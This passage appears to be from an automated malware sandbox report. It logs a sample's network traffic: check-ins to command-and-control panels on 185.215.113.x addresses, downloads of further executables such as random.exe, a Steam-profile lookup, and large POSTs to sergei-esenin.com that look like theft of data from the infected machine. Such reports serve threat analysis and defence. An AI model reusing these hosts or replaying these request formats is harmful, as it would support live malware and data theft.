Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 18 Oct 2024 13:05:01 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Fri, 18 Oct 2024 12:50:16 GMTETag: "1cb800-624bfbeaba684"Accept-Ranges: bytesContent-Length: 1882112Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 50 6b 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 6b 00 00 04 00 00 6d 97 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2b 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 73 76 67 68 76 61 74 00 60 1a 00 00 e0 50 00 00 56 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 63 69 72 75 75 69 77 00 10 00 00 00 40 6b 00 00 04 00 00 00 92 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 6b 00 00 22 00 00 00 96 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 34 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000349001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 35 30 30 30 32 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000350002&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAAAKJKJEBGHJKFHIDGHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 34 33 42 33 45 37 35 41 39 43 32 35 34 35 34 36 36 32 37 36 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 2d 2d 0d 0a Data Ascii: ------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="hwid"AB43B3E75A9C2545466276------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="build"doma------BAAAAKJKJEBGHJKFHIDG--
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.103If-Modified-Since: Fri, 18 Oct 2024 12:50:16 GMTIf-None-Match: "1cb800-624bfbeaba684"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 35 31 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000351031&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 35 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000357001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.103If-Modified-Since: Fri, 18 Oct 2024 12:50:09 GMTIf-None-Match: "2d8200-624bfbe479d49"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 36 31 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000361031&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKEGDHJDHDAFHJJKJEHCHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 34 33 42 33 45 37 35 41 39 43 32 35 34 35 34 36 36 32 37 36 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 2d 2d 0d 0a Data Ascii: ------AKEGDHJDHDAFHJJKJEHCContent-Disposition: form-data; name="hwid"AB43B3E75A9C2545466276------AKEGDHJDHDAFHJJKJEHCContent-Disposition: form-data; name="build"doma------AKEGDHJDHDAFHJJKJEHC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 34 30 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000401001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIDBKFCAAEBFIDHDBAEHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 34 33 42 33 45 37 35 41 39 43 32 35 34 35 34 36 36 32 37 36 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 2d 2d 0d 0a Data Ascii: ------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; name="hwid"AB43B3E75A9C2545466276------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; name="build"doma------FHIDBKFCAAEBFIDHDBAE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJDHDAECBGCAKEBAEBAHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 48 44 41 45 43 42 47 43 41 4b 45 42 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 34 33 42 33 45 37 35 41 39 43 32 35 34 35 34 36 36 32 37 36 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 48 44 41 45 43 42 47 43 41 4b 45 42 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 48 44 41 45 43 42 47 43 41 4b 45 42 41 45 42 41 2d 2d 0d 0a Data Ascii: ------GHJDHDAECBGCAKEBAEBAContent-Disposition: form-data; name="hwid"AB43B3E75A9C2545466276------GHJDHDAECBGCAKEBAEBAContent-Disposition: form-data; name="build"doma------GHJDHDAECBGCAKEBAEBA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIIJJJDGCBAAKFIIECGHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 34 33 42 33 45 37 35 41 39 43 32 35 34 35 34 36 36 32 37 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 2d 2d 0d 0a Data Ascii: ------KFIIJJJDGCBAAKFIIECGContent-Disposition: form-data; name="hwid"AB43B3E75A9C2545466276------KFIIJJJDGCBAAKFIIECGContent-Disposition: form-data; name="build"doma------KFIIJJJDGCBAAKFIIECG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 104.21.53.8 104.21.53.8
Source: Joe Sandbox View	IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: AKAMAI-ASUS AKAMAI-ASUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49799 -> 185.215.113.103:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49830 -> 185.215.113.103:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49884 -> 185.215.113.103:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49956 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49956 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=LAlU2jiP0ih1GCQ2tR8pCO9umtnkgr__mMhgdSGI1E8-1729256669-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: sergei-esenin.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=LAlU2jiP0ih1GCQ2tR8pCO9umtnkgr__mMhgdSGI1E8-1729256669-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18168Host: sergei-esenin.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=LAlU2jiP0ih1GCQ2tR8pCO9umtnkgr__mMhgdSGI1E8-1729256669-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8789Host: sergei-esenin.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=LAlU2jiP0ih1GCQ2tR8pCO9umtnkgr__mMhgdSGI1E8-1729256669-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20442Host: sergei-esenin.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=LAlU2jiP0ih1GCQ2tR8pCO9umtnkgr__mMhgdSGI1E8-1729256669-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1290Host: sergei-esenin.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=LAlU2jiP0ih1GCQ2tR8pCO9umtnkgr__mMhgdSGI1E8-1729256669-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 567125Host: sergei-esenin.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=oVu0E9qEE3l6igEmGLJahzIyOc76s9q8jI5.nj__y8Q-1729256686-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: sergei-esenin.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=oVu0E9qEE3l6igEmGLJahzIyOc76s9q8jI5.nj__y8Q-1729256686-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18168Host: sergei-esenin.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=oVu0E9qEE3l6igEmGLJahzIyOc76s9q8jI5.nj__y8Q-1729256686-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8789Host: sergei-esenin.com
